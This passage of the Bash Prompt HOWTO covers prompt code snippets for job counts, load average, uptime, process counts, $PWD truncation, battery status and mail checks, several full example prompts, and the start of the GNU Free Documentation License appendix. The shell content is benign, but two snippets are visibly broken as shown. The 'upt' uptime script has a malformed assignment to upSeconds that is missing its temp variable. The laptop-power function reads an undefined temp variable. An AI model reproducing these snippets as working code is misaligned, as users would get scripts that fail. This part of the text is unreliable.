Relative speed: the ${temp:5} method takes about 0.12 seconds on an unloaded 486SX25, the sed-driven method takes about 0.19 seconds, the awk-driven method takes about 0.79 seconds.

Prev | Home | Next
Total Bytes in the Current Directory | Up | Stopped Jobs Count


Stopped Jobs Count

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.6. Stopped Jobs Count

Torben Fjerdingstad (<tfj at fjerdingstad dot dk>) wrote to tell me that he often stops jobs and then forgets about them. He uses his prompt to remind himself of stopped jobs. Apparently this is fairly popular, because as of Bash 2.04, there is a standard escape sequence for jobs managed by the shell:

[giles@zinfandel]$ export PS1='\W[\j]\$ '
giles[0]$ man ls &
[1] 31899
giles[1]$ xman &
[2] 31907

[1]+  Stopped                 man ls
giles[2]$ jobs
[1]+  Stopped                 man ls
[2]-  Running                 xman &
giles[2]$

Note that this shows both stopped and running jobs. At the console, you probably want the complete count, but in an xterm you're probably only interested in the ones that are stopped. To display only these, you could use something like the following:

[giles@zinfandel]$ function stoppedjobs {
-- jobs -s | wc -l | sed -e "s/ //g"
-- }
[giles@zinfandel]$ export PS1='\W[`stoppedjobs`]\$ '
giles[0]$ jobs
giles[0]$ man ls &
[1] 32212

[1]+  Stopped                 man ls
giles[0]$ man X &
[2] 32225

[2]+  Stopped                 man X
giles[2]$ jobs
[1]-  Stopped                 man ls
[2]+  Stopped                 man X
giles[2]$ xman &
[3] 32246
giles[2]$ sleep 300 &
[4] 32255
giles[2]$ jobs
[1]-  Stopped                 man ls
[2]+  Stopped                 man X
[3]   Running                 xman &
[4]   Running                 sleep 300 &

This doesn't always show the stopped job in the prompt that follows immediately after the command is executed - it probably depends on whether the job is launched and put in the background before jobs is run.

Note

There is a known bug in Bash 2.02 that causes the jobs command (a shell builtin) to return nothing to a pipe. If you try the above under Bash 2.02, you will always get a "0" back regardless of how many jobs you have stopped. This problem is fixed in 2.03.

Relative speed: 'jobs -s | wc -l | sed -e "s/ //g" ' takes about 0.24 seconds on an unloaded 486SX25.

Prev | Home | Next
Checking the Current TTY | Up | Load


Load

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.7. Load

The output of uptime can be used to determine both the system load and uptime, but its output is exceptionally difficult to parse. On a Linux system, this is made much easier to deal with by the existence of the /proc/ file system. cat /proc/loadavg will show you the one minute, five minute, and fifteen minute load average, as well as a couple other numbers I don't know the meaning of (anyone care to fill me in?).

Getting the one minute load average with a Bash construct is easy: temp=$(cat /proc/loadavg) && echo ${temp%% *}. Getting the five minute load average is a little more complex: temp=$(cat /proc/loadavg) && temp=${temp#* } && echo ${temp%% *}. There's probably a simpler way than that (anyone?) and extending this method further to get the 15 minute average would be messy. I'll figure it out sometime ...

A simpler, but more processor intensive method to get an individual number such as the one minute load average, is to use awk: cat /proc/loadavg | awk '{ print $1 }'.

For those without the /proc/ filesystem, you can use uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\1/" -e "s/ //g" and replace "\1" with "\2" or "\3" depending if you want the one minute, five minute, or fifteen minute load average. This is a remarkably ugly regular expression: send suggestions if you have a better one.

Relative speed: The shell-driven methods each take about 0.14 seconds on an unloaded 486SX25. "cat /proc/loadavg | awk '{ print $1 }' " takes about 0.25 seconds. 'uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\1/" -e "s/ //g" ' takes about 0.21 seconds.

Prev | Home | Next
Stopped Jobs Count | Up | Uptime


Uptime

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.8. Uptime

As with load, the data available through uptime is very difficult to parse. Again, if you have the /proc/ filesystem, take advantage of it. I wrote the following code to output just the time the system has been up:

#!/bin/bash
#
#   upt - show just the system uptime, days, hours, and minutes

let upSeconds="$(cat /proc/uptime) && echo ${temp%%.*})"
let secs=$((${upSeconds}%60))
let mins=$((${upSeconds}/60%60))
let hours=$((${upSeconds}/3600%24))
let days=$((${upSeconds}/86400))
if [ "${days}" -ne "0" ]
then
   echo -n "${days}d"
fi
echo -n "${hours}h${mins}m"

Output looks like "1h31m" if the system has been up less than a day, or "14d17h3m" if it has been up more than a day. You can massage the output to look the way you want it to. This evolved after an e-mail discussion with David Osolkowski, who gave me some ideas.

Before I wrote that script, I had a couple emails with David O, who said "me and a couple guys got on irc and started hacking with sed and got this: uptime | sed -e 's/.* \(.* days,\)\? \(.*:..,\) .*/\1 \2/' -e's/,//g' -e 's/ days/d/' -e 's/ up //'. It's ugly, and doesn't use regex nearly as well as it should, but it works. It's pretty slow on a P75, though, so I removed it." Considering how much uptime output varies depending on how long a system has been up, I was impressed they managed as well as they did. You can use this on systems without /proc/ filesystem, but as he says, it may be slow.

Relative speed: the "upt" script takes about 0.68 seconds on an unloaded 486SX25 (half that as a function). Contrary to David's guess, his use of sed to parse the output of "uptime" takes only 0.22 seconds.

Prev | Home | Next
Load | Up | Number of Processes


Number of Processes

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.9. Number of Processes

ps ax | wc -l | tr -d " " OR ps ax | wc -l | awk '{print $1}' OR ps ax | wc -l | sed -e "s: ::g". In each case, tr or awk or sed is used to remove the undesirable whitespace.

Relative speed: any one of these variants takes about 0.9 seconds on an unloaded 486SX25.

Prev | Home | Next
Uptime | Up | Controlling the Size and Appearance of $PWD


Controlling the Size and Appearance of $PWD

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.10. Controlling the Size and Appearance of $PWD

Unix allows long file names, which can lead to the value of $PWD being very long. Some people (notably the default RedHat prompt) choose to use the basename of the current working directory (ie. "giles" if $PWD="/home/giles"). I like more info than that, but it's often desirable to limit the length of the directory name, and it makes the most sense to truncate on the left.

#   How many characters of the $PWD should be kept
local pwdmaxlen=30
#   Indicator that there has been directory truncation:
#trunc_symbol="<"
local trunc_symbol="..."
if [ ${#PWD} -gt $pwdmaxlen ]
then
    local pwdoffset=$(( ${#PWD} - $pwdmaxlen ))
    newPWD="${trunc_symbol}${PWD:$pwdoffset:$pwdmaxlen}"
else
    newPWD=${PWD}
fi

The above code can be executed as part of PROMPT_COMMAND, and the environment variable generated (newPWD) can then be included in the prompt. Thanks to Alexander Mikhailian <mikhailian at altern dot org> who rewrote the code to utilize new Bash functionality, thus speeding it up considerably.

Risto Juola (risto AT risto.net) wrote to say that he preferred to have the "~" in the $newPWD, so he wrote another version:

pwd_length=20

DIR=`pwd`

echo $DIR | grep "^$HOME" >> /dev/null

if [ $? -eq 0 ]
then
  CURRDIR=`echo $DIR | awk -F$HOME '{print $2}'`
  newPWD="~$CURRDIR"

  if [ $(echo -n $newPWD | wc -c | tr -d " ") -gt $pwd_length ]
  then
    newPWD="~/..$(echo -n $PWD | sed -e "s/.*\(.\{$pwd_length\}\)/\1/")"
  fi
elif [ "$DIR" = "$HOME" ]
then
  newPWD="~"
elif [ $(echo -n $PWD | wc -c | tr -d " ") -gt $pwd_length ]
then
  newPWD="..$(echo -n $PWD | sed -e "s/.*\(.\{$pwd_length\}\)/\1/")"
else
  newPWD="$(echo -n $PWD)"
fi

Relative speed: the first version takes about 0.45 seconds on an unloaded 486SX25. Risto's version takes about 0.80 to 0.95 seconds. The variation in this case is due to whether or not truncation is required.

Prev | Home | Next
Number of Processes | Up | Laptop Power


Laptop Power

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.11. Laptop Power

If you have a laptop with APM installed, try the following PROMPT_COMMAND to create an environment variable ${battery} you can add to your prompt. This will indicate if AC power is connected and percentage power remaining. AC power is indicated by a "^" (for on) and a "v" (for off) before the percentage value.

function prompt_command {
    #  As much of the response of the "apm" command as is
    #  necessary to identify the given condition:
   NO_AC_MESG="AC off"
   AC_MESG="AC on"

   APMD_RESPONSE="$(apm)"
   case ${APMD_RESPONSE} in
      *${AC_MESG}*)
         ACstat="^"
         ;;
      *${NO_AC_MESG}*)
         ACstat="v"
         ;;
   esac

   battery="${temp##* }"
   battery="${ACstat}${battery}"
}

Prev | Home | Next
Controlling the Size and Appearance of $PWD | Up | Having the Prompt Ignored on Cut and Paste


Having the Prompt Ignored on Cut and Paste

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.12. Having the Prompt Ignored on Cut and Paste

This one is weird but cool. Rory Toma <rory at corp dot webtv dot net> wrote to suggest a prompt like this: : rory@demon ; . How is this useful? You can triple click on any previous command (in Linux, anyway) to highlight the whole line, then paste that line in front of another prompt and the stuff between the ":" and the """ is ignored, like so:

: rory@demon ; uptime
  5:15pm  up 6 days, 23:04,  2 users,  load average: 0.00, 0.00, 0.00
: rory@demon ; : rory@demon ; uptime
  5:15pm  up 6 days, 23:04,  2 users,  load average: 0.00, 0.00, 0.00

The prompt is a no-op, and if your PS2 is set to a space, multiple lines can be cut and pasted as well.

Prev | Home | Next
Laptop Power | Up | New Mail


New Mail

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.13. New Mail

Several people have sent me methods for checking whether or not they had new e-mail. Most of them relied on programs that aren't on every system. Then I received the following code from Henrik Veenpere: cat $MAIL |grep -c ^Message-. This is simple and elegant, and I like it.

Prev | Home | Next
Having the Prompt Ignored on Cut and Paste | Up | Example Prompts


Examples on the Web

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 12. Example Prompts Next

12.1. Examples on the Web

Over time, many people have e-mailed me excellent examples, and I've written some interesting ones myself. There are too many to include here, so I have put all of the examples together into some web pages which can be seen at http://www.shelluser.net/~giles/bashprompt/prompts/. Most of the examples given here can also be seen on the web.

Prev | Home | Next
Example Prompts | Up | A "Lightweight" Prompt


A "Lightweight" Prompt

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 12. Example Prompts Next

12.2. A "Lightweight" Prompt

function proml {
local BLUE="\[\033[0;34m\]"
local RED="\[\033[0;31m\]"
local LIGHT_RED="\[\033[1;31m\]"
local WHITE="\[\033[1;37m\]"
local NO_COLOUR="\[\033[0m\]"
case $TERM in
    xterm*|rxvt*)
        TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        TITLEBAR=""
        ;;
esac

PS1="${TITLEBAR}\
$BLUE[$RED\$(date +%H%M)$BLUE]\
$BLUE[$LIGHT_RED\u@\h:\w$BLUE]\
$WHITE\$$NO_COLOUR "
PS2='> '
PS4='+ '
}

The lightweight proml prompt, showing time, username, machine name, and working directory in colour. It also modifies the title of the terminal.

Prev | Home | Next
Examples on the Web | Up | Dan's Prompt


Dan's Prompt

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 12. Example Prompts Next

12.3. Dan's Prompt

Dan was a coworker of mine at the university I work at for a while. Dan used csh and tcsh for a long time before moving to Bash, so he uses the history number a lot. He uses "screen" a lot, and for that, it's helpful to have the tty. The last part of his prompt is the return value of the last executed command. Dan doesn't like having the $PWD in his prompt because it makes the prompt grow and shrink too much.

#!/bin/bash
#   Dan's prompt looks like this:
#      543,p3,0$
#
PROMPT_COMMAND=""
function dan {
local cur_tty=$(temp=$(tty) ; echo ${temp:5});
PS1="\!,$cur_tty,\$?\$ "
}

Dan's prompt: history number, tty number, return value of the last executed function.

Prev | Home | Next
A "Lightweight" Prompt | Up | Elite from Bashprompt Themes


Elite from Bashprompt Themes

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 12. Example Prompts Next

12.4. Elite from Bashprompt Themes

Note that this requires a VGA font.

# Created by KrON from windowmaker on IRC
# Changed by Spidey 08/06
function elite {
PS1="\[\033[31m\]\332\304\[\033[34m\](\[\033[31m\]\u\[\033[34m\]@\[\033[31m\]\h\
\[\033[34m\])\[\033[31m\]-\[\033[34m\](\[\033[31m\]\$(date +%I:%M%P)\
\[\033[34m\]-:-\[\033[31m\]\$(date +%m)\[\033[34m\033[31m\]/\$(date +%d)\
\[\033[34m\])\[\033[31m\]\304-\[\033[34m]\\371\[\033[31m\]-\371\371\
\[\033[34m\]\372\n\[\033[31m\]\300\304\[\033[34m\](\[\033[31m\]\W\[\033[34m\])\
\[\033[31m\]\304\371\[\033[34m\]\372\[\033[00m\]"
PS2="> "
}

The elite prompt from the Bashprompt Themes.

Prev | Home | Next
Dan's Prompt | Up | A "Power User" Prompt


A "Power User" Prompt

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 12. Example Prompts Next

12.5. A "Power User" Prompt

I actually did use this prompt for a while, but it results in noticeable delays in the appearance of the prompt on a single-user PII-400, so I wouldn't recommend using it on a multi-user P-100 or anything ... A rewrite using newer Bash functionality might help, but look at it for ideas rather than as a practical prompt.

#!/bin/bash
#----------------------------------------------------------------------
#       POWER USER PROMPT "pprom2"
#----------------------------------------------------------------------
#
#   Created August 98, Last Modified 9 November 98 by Giles
#
#   Problem: when load is going down, it says "1.35down-.08", get rid
#   of the negative

function prompt_command
{
#   Create TotalMeg variable: sum of visible file sizes in current directory
local TotalBytes=0
for Bytes in $(ls -l | grep "^-" | awk '{print $5}')
do
    let TotalBytes=$TotalBytes+$Bytes
done
TotalMeg=$(echo -e "scale=3 \nx=$TotalBytes/1048576\n if (x<1) {print \"0\"} \n print x \nquit" | bc)

#      This is used to calculate the differential in load values
#      provided by the "uptime" command.  "uptime" gives load
#      averages at 1, 5, and 15 minute marks.
#
local one=$(uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\1/" -e "s/ //g")
local five=$(uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\).*/\2/" -e "s/ //g")
local diff1_5=$(echo -e "scale = scale ($one) \nx=$one - $five\n if (x>0) {print \"up\"} else {print \"down\"}\n print x \nquit \n" | bc)
loaddiff="$(echo -n "${one}${diff1_5}")"

#   Count visible files:
let files=$(ls -l | grep "^-" | wc -l | tr -d " ")
let hiddenfiles=$(ls -l -d .* | grep "^-" | wc -l | tr -d " ")
let executables=$(ls -l | grep ^-..x | wc -l | tr -d " ")
let directories=$(ls -l | grep "^d" | wc -l | tr -d " ")
let hiddendirectories=$(ls -l -d .* | grep "^d" | wc -l | tr -d " ")-2
let linktemp=$(ls -l | grep "^l" | wc -l | tr -d " ")
if [ "$linktemp" -eq "0" ]
then
    links=""
else
    links=" ${linktemp}l"
fi
unset linktemp
let devicetemp=$(ls -l | grep "^[bc]" | wc -l | tr -d " ")
if [ "$devicetemp" -eq "0" ]
then
    devices=""
else
    devices=" ${devicetemp}bc"
fi
unset devicetemp

}

PROMPT_COMMAND=prompt_command

function pprom2 {

local        BLUE="\[\033[0;34m\]"
local  LIGHT_GRAY="\[\033[0;37m\]"
local LIGHT_GREEN="\[\033[1;32m\]"
local  LIGHT_BLUE="\[\033[1;34m\]"
local  LIGHT_CYAN="\[\033[1;36m\]"
local      YELLOW="\[\033[1;33m\]"
local       WHITE="\[\033[1;37m\]"
local         RED="\[\033[0;31m\]"
local   NO_COLOUR="\[\033[0m\]"

case $TERM in
    xterm*)
        TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        TITLEBAR=""
        ;;
esac

PS1="$TITLEBAR\
$BLUE[$RED\$(date +%H%M)$BLUE]\
$BLUE[$RED\u@\h$BLUE]\
$BLUE[\
$LIGHT_GRAY\${files}.\${hiddenfiles}-\
$LIGHT_GREEN\${executables}x \
$LIGHT_GRAY(\${TotalMeg}Mb) \
$LIGHT_BLUE\${directories}.\
\${hiddendirectories}d\
$LIGHT_CYAN\${links}\
$YELLOW\${devices}\
$BLUE]\
$BLUE[${WHITE}\${loaddiff}$BLUE]\
$BLUE[\
$WHITE\$(ps ax | wc -l | sed -e \"s: ::g\")proc\
$BLUE]\
\n\
$BLUE[$RED\$PWD$BLUE]\
$WHITE\$\
\
$NO_COLOUR "
PS2='> '
PS4='+ '
}
Prev | Home | Next
Elite from Bashprompt Themes | Up | Prompt Depending on Connection Type


Prompt Depending on Connection Type

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 12. Example Prompts Next

12.6. Prompt Depending on Connection Type

Bradley M Alexander (storm@tux.org) had the excellent idea of reminding his users what kind of connection they were using to his machine(s), so he colour-codes prompts dependent on connection type. Here's the bashrc he supplied to me:

# /etc/bashrc

# System wide functions and aliases
# Environment stuff goes in /etc/profile

# For some unknown reason bash refuses to inherit
# PS1 in some circumstances that I can't figure out.
# Putting PS1 here ensures that it gets loaded every time.

# Set up prompts. Color code them for logins. Red for root, white for
# user logins, green for ssh sessions, cyan for telnet,
# magenta with red "(ssh)" for ssh + su, magenta for telnet.
THIS_TTY=tty`ps aux | grep $$ | grep bash | awk '{ print $7 }'`
SESS_SRC=`who | grep $THIS_TTY | awk '{ print $6 }'`

SSH_FLAG=0
SSH_IP=`echo $SSH_CLIENT | awk '{ print $1 }'`
if [ $SSH_IP ] ; then
  SSH_FLAG=1
fi
SSH2_IP=`echo $SSH2_CLIENT | awk '{ print $1 }'`
if [ $SSH2_IP ] ; then
  SSH_FLAG=1
fi
if [ $SSH_FLAG -eq 1 ] ; then
  CONN=ssh
elif [ -z $SESS_SRC ] ; then
  CONN=lcl
elif [ $SESS_SRC = "(:0.0)" -o $SESS_SRC = "" ] ; then
  CONN=lcl
else
  CONN=tel
fi

# Okay...Now who we be?
if [ `/usr/bin/whoami` = "root" ] ; then
  USR=priv
else
  USR=nopriv
fi

#Set some prompts...
if [ $CONN = lcl -a $USR = nopriv ] ; then
  PS1="[\u \W]\\$ "
elif [ $CONN = lcl -a $USR = priv ] ; then
  PS1="\[\033[01;31m\][\w]\\$\[\033[00m\] "
elif [ $CONN = tel -a $USR = nopriv ] ; then
  PS1="\[\033[01;34m\][\u@\h \W]\\$\[\033[00m\] "
elif [ $CONN = tel -a $USR = priv ] ; then
  PS1="\[\033[01;30;45m\][\u@\h \W]\\$\[\033[00m\] "
elif [ $CONN = ssh -a $USR = nopriv ] ; then
  PS1="\[\033[01;32m\][\u@\h \W]\\$\[\033[00m\] "
elif [ $CONN = ssh -a $USR = priv ] ; then
  PS1="\[\033[01;35m\][\u@\h \W]\\$\[\033[00m\] "
fi

# PS1="[\u@\h \W]\\$ "
export PS1
alias which="type -path"
alias dir="ls -lF --color"
alias dirs="ls -lFS --color"
alias h=history
Prev | Home | Next
A "Power User" Prompt | Up | A Prompt the Width of Your Term


A Prompt the Width of Your Term

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 12. Example Prompts Next

12.7. A Prompt the Width of Your Term

A friend complained that he didn't like having a prompt that kept changing size because it had $PWD in it, so I wrote this prompt that adjusts its size to exactly the width of your term, with the working directory on the top line of two.

#!/bin/bash
#   termwide prompt with tty number
#      by Giles - created 2 November 98, last tweaked 31 July 2001
#
#     This is a variant on "termwide" that incorporates the tty number.
#

hostnam=$(hostname -s)
usernam=$(whoami)
temp="$(tty)"
#   Chop off the first five chars of tty (ie /dev/):
cur_tty="${temp:5}"
unset temp

function prompt_command {

#   Find the width of the prompt:
TERMWIDTH=${COLUMNS}

#   Add all the accessories below ...
local temp="--(${usernam}@${hostnam}:${cur_tty})---(${PWD})--"

let fillsize=${TERMWIDTH}-${#temp}
if [ "$fillsize" -gt "0" ]
then
    fill="-------------------------------------------------------------------------------------------------------------------------------------------"
    #   It's theoretically possible someone could need more
    #   dashes than above, but very unlikely!  HOWTO users,
    #   the above should be ONE LINE, it may not cut and
    #   paste properly
    fill="${fill:0:${fillsize}}"
    newPWD="${PWD}"
fi

if [ "$fillsize" -lt "0" ]
then
    fill=""
    let cut=3-${fillsize}
    newPWD="...${PWD:${cut}}"
fi
}

PROMPT_COMMAND=prompt_command

function twtty {

local WHITE="\[\033[1;37m\]"
local NO_COLOUR="\[\033[0m\]"

local LIGHT_BLUE="\[\033[1;34m\]"
local YELLOW="\[\033[1;33m\]"

case $TERM in
    xterm*|rxvt*)
        TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        TITLEBAR=""
        ;;
esac

PS1="$TITLEBAR\
$YELLOW-$LIGHT_BLUE-(\
$YELLOW\$usernam$LIGHT_BLUE@$YELLOW\$hostnam$LIGHT_BLUE:$WHITE\$cur_tty\
${LIGHT_BLUE})-${YELLOW}-\${fill}${LIGHT_BLUE}-(\
$YELLOW\${newPWD}\
$LIGHT_BLUE)-$YELLOW-\
\n\
$YELLOW-$LIGHT_BLUE-(\
$YELLOW\$(date +%H%M)$LIGHT_BLUE:$YELLOW\$(date \"+%a,%d %b %y\")\
$LIGHT_BLUE:$WHITE\$$LIGHT_BLUE)-\
$YELLOW-\
$NO_COLOUR "

PS2="$LIGHT_BLUE-$YELLOW-$YELLOW-$NO_COLOUR "

}

The twtty prompt in action.

Prev | Home | Next
Prompt Depending on Connection Type | Up | The Floating Clock Prompt


PREAMBLE

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

Prev | Home | Next
GNU Free Documentation License | Up | APPLICABILITY AND DEFINITIONS


APPLICABILITY AND DEFINITIONS

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

Prev | Home | Next
PREAMBLE | Up | VERBATIM COPYING


VERBATIM COPYING

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

Prev | Home | Next
APPLICABILITY AND DEFINITIONS | Up | COPYING IN QUANTITY


COPYING IN QUANTITY

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Prev | Home | Next
VERBATIM COPYING | Up | MODIFICATIONS


MODIFICATIONS

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

Prev | Home | Next
COPYING IN QUANTITY | Up | COMBINING DOCUMENTS


COMBINING DOCUMENTS

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Appendix A. GNU Free Documentation License Next

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

